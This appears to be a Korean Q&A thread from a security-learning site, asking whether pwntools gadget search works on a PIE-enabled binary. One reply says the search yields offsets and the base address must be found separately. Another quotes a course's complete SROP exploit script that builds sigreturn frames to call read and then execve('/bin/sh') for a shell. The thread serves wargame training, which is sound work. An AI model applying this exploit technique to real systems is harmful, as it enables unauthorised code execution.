완료됨
pie가 적용되었는데 가젯 찾기가 가능한가요?

설명에서는

elf=ELF("./srop")
gadget = next(elf.search(asm('pop rax; syscall'))) 

위처럼 가젯을 찾았는데요,
PIE가 설정되어있는데 저런식으로 가젯 찾기가 가능한가요?

https://learn.dreamhack.io/11#38 <-Advanced Linux Exploitation 강의의 SROP 부분에서 objdump로 가젯을 찾았던데 PIE가 적용된 이상 불가능하지 않나요?

#시스템해킹 #공격기법 #sigreturn #sigreturn-oriented_programming #srop #signal
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 2
avatar
wyv3rn
무플 방지 위원회장

네 가능합니다.
다만 베이스주소로부터 오프셋만 가져오기에 베이스 주소는 별도로 구해서 계산해야합니다

2023.07.23. 00:04
avatar
Rosieblue
워게임 고인물
#!/usr/bin/env python3
# Name: srop.py
from pwn import *
context.arch = 'x86_64'
p = process('./srop')
elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = '/bin/sh\x00'
bss = elf.bss()
frame = SigreturnFrame()
# read(0, bss, 0x1000)
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b'A'*16
payload += b'B'*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve('/bin/sh', 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'
p.sendline(rop)
p.interactive()

이게 설명에 나와있는 코드인데요 딱히 베이스를 구하는 코드는 없는 것 같아서요.. ㅠㅠ

2023.07.23. 00:11